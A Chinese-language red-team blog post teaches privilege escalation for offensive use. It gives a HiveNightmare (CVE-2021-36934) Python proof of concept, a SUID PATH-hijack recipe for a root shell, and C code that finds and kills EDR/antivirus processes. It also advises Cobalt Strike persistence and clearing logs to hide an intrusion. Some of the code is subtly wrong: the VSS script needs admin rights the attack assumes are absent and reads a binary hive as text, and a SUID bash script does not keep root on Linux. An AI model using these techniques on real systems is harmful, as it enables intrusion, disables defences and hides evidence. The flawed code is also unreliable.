一、从一次不起眼的渗透测试说起
权限提升,或者说privesc(Privilege Escalation),是红队行动中的关键一环。在一次真实的渗透测试中,我们拿下了目标服务器的一个普通用户权限,但离目标核心数据还有很远的距离——权限不足成为了我们面前的一堵墙。当时环境中的杀软严密防护,命令执行受限,连看个普通目录权限都需要额外验证。在这种情况下,如果不能找到一个可靠的权限提升手段,整个渗透便止步于此。
通过后续分析,我们发现系统存在一个已知但未修复的本地提权漏洞,再结合关键的绕过技术,成功从普通用户跃升为SYSTEM权限,完全掌控目标。今天,我们就以这种“从低到高”的视角,来探讨权限提升的各种技术。
---
二、权限提升的武器库:你需要掌握的核心手段
权限提升的本质在于突破当前权限边界,获取更高的权限。我们可以将权限提升的技术分为以下几类:
- 利用漏洞进行提权
- 核心漏洞、内核提权
- 服务配置错误导致的提权
- 权限配置不当
- 文件权限、服务权限
- Sudo/SUID错误配置(Linux)
- 凭证抓取与利用
- 内存中提取明文凭证
- 抓取哈希值并离线破解
- 社工与代理提权
- 假冒合法进程引导提权
- 利用钓鱼和社会工程学
下面我们结合实战环境,分析几个经典场景。
---
三、从漏洞到SYSTEM:一个经典的CVE案例
让我们从一个真实的漏洞利用案例开始:CVE-2021-36934,也被称为“HiveNightmare”漏洞。
攻击原理
Windows 10/11系统中,如果启用了系统还原点(Volume Shadow Copy Service),会生成包含敏感信息的注册表hive文件(如SAM文件)。错误的权限配置导致普通用户可以读取这些文件,从而提取管理员凭证。
实战环境搭建
- 准备一台启用了VSS服务的Windows 10目标机。
- 确保目标机有SAM文件,位置通常在
C:\Windows\System32\config\SAM。 - 设置一个低权限用户供测试使用。
POC代码实现
以下Python脚本读取目标机的SAM文件并尝试提取明文密码:

<pre><code class="language-python">import os import subprocess
检查当前用户权限
def check_permissions(): print("[*] 当前用户权限:") os.system("whoami /priv")
利用VSS读取敏感文件
def exploit_vss(): print("[*] 尝试读取SAM文件...") try:
利用vssadmin创建影子副本
subprocess.run(["vssadmin", "create", "shadow", "/for=C:"])
读取影子副本中的SAM文件
sam_file = "\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM" print("[+] 读取成功,文件路径:", sam_file) with open(sam_file, 'r') as file: print("[*] SAM内容:") print(file.read()) except Exception as e: print("[-] 提权失败:", str(e))
if __name__ == "__main__": check_permissions() exploit_vss()</code></pre>
关键问题与武器化
- 绕过权限检测
- 部分环境下需要隐藏进程行为,通过注入技术执行。
- 持久化种植后门
- 提权后,可种植Cobalt Strike Beacon以维持控制。
---
四、文件权限的恶作剧:利用SUID提权
在Linux系统中,错误的SUID配置是一个常见的提权入口。我们来看看一个经典案例。
攻击原理
SUID权限允许普通用户以文件所有者的权限执行程序。如果配置不当,攻击者可以利用这些程序执行任意命令。

目标筛选
执行以下命令查找SUID程序: <pre><code class="language-bash">find / -perm -4000 2>/dev/null</code></pre>
实战案例分析
假设我们发现了一个可疑的SUID程序 /usr/bin/suspicious_script,其内容如下: <pre><code class="language-bash">#!/bin/bash echo "Running with root privileges!" cat /etc/shadow</code></pre>
利用方法
攻击者可以通过替换或劫持依赖程序的路径来执行任意命令。例如: <pre><code class="language-bash"># 创建一个恶意的cat程序 echo "/bin/bash" > /tmp/cat chmod +x /tmp/cat
替换PATH变量
export PATH=/tmp:$PATH
运行目标程序
/usr/bin/suspicious_script</code></pre>
通过以上操作,我们成功获得了一个root shell。
---
五、绕过EDR的提权艺术:反杀防御机制
在实际渗透中,EDR(Endpoint Detection and Response)可能会阻止提权行为。以下是几种绕过技巧:
- 代码混淆
- 使用
pyarmor对Python代码加密。
- 恶意载荷内存加载
- 利用
RunPE技术,将恶意代码注入内存运行。
- 流量伪装
- 通过HTTPS加密通信降低检测风险。
以下是一个绕过EDR的示例代码片段: <pre><code class="language-c">#include <windows.h>
include <tlhelp32.h>
int main() { // 通过API枚举杀软进程并终止 HANDLE hSnapshot; PROCESSENTRY32 pe32; hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) return 1; pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) { do { if (strstr(pe32.szExeFile, "EDR_Process_Name")) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID); if (hProcess) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); } } } while (Process32Next(hSnapshot, &pe32)); } CloseHandle(hSnapshot); return 0; }</code></pre>
将杀软进程终止,为后续提权铺平道路。
---

六、个人战斗笔记:提权的细节决定成败
- 信息收集是核心
- 权限提升之前,必须彻底了解目标环境。未充分收集信息的提权尝试往往导致失败甚至暴露。
- 脚本自动化
- 编写自动化脚本,如常见漏洞扫描和权限配置检查工具。
- 保持隐蔽性
- 提权行为产生的日志会暴露攻击痕迹,必要时清除敏感日志。
---
权限提升是红队攻击链中的必修课。它不仅需要技术,更需要耐心与细致。每一次提权尝试,都是一次与目标系统的较量,而最终的胜利,属于准备最充分的一方。